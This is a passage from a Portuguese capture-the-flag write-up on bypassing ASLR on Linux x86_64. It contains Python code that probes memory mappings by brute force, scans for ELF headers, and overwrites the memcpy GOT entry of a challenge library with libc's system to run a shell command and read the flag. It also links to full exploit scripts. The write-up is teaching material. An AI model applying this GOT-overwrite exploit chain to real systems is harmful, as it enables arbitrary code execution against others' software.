| 0x7fe3d6ab0000 | Não |
| 0x7fe3d6aa0000 | Não |
| 0x7fe3d6a90000 | Não |
| 0x7fe3d6a80000 | Não |
| 0x7fe3d6a70000 | Não |
| 0x7fe3d6a60000 | Não |
| 0x7fe3d6a50000 | Sim |
| 0x7fe3d6a5f000 | Não |
| 0x7fe3d6a5e000 | Não |
| 0x7fe3d6a5d000 | Não |
| 0x7fe3d6a5c000 | Não |
| 0x7fe3d6a5b000 | Não |
| 0x7fe3d6a5a000 | Sim |
lastMappedPage = 0x7fe3d6a5a000
Estamos fazendo brute force de meio byte por vez, para um pior cenário de 165 = 80 consultas.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 O exploit
Finalmente, sabemos tudo o que precisamos sobre os mapeamentos de memória; agora é apenas uma questão de aproveitar uma primitiva write what where para execução de código.
Para obter execução de código, sobrescrevi a entrada memcpy@got do libkyle.so com system@libc.
### Obter a base do libkyle
Para nossa sorte, a base da libc e a base do libkyle.so estão em um offset constante a partir de lastMappedPage; eu não sabia que esse era o caso, então escrevi um egghunter que procura por `\x7fELF` \(Cabeçalho de executáveis ELF\), que no final não foi útil.```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
Felizmente, sobrescrever memcpy@got com system foi suficiente para obter a flag e reivindicar essa suculenta recompensa :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 A flag!
Você pode encontrar o exploit [aqui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
Há também uma versão 100% confiável do exploit [aqui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).
## 5. Conclusão
Espero que tenha gostado do writeup; se algo não ficou claro o suficiente, não hesite em me contatar [@nick0ve](https://twitter.com/nick0ve) :)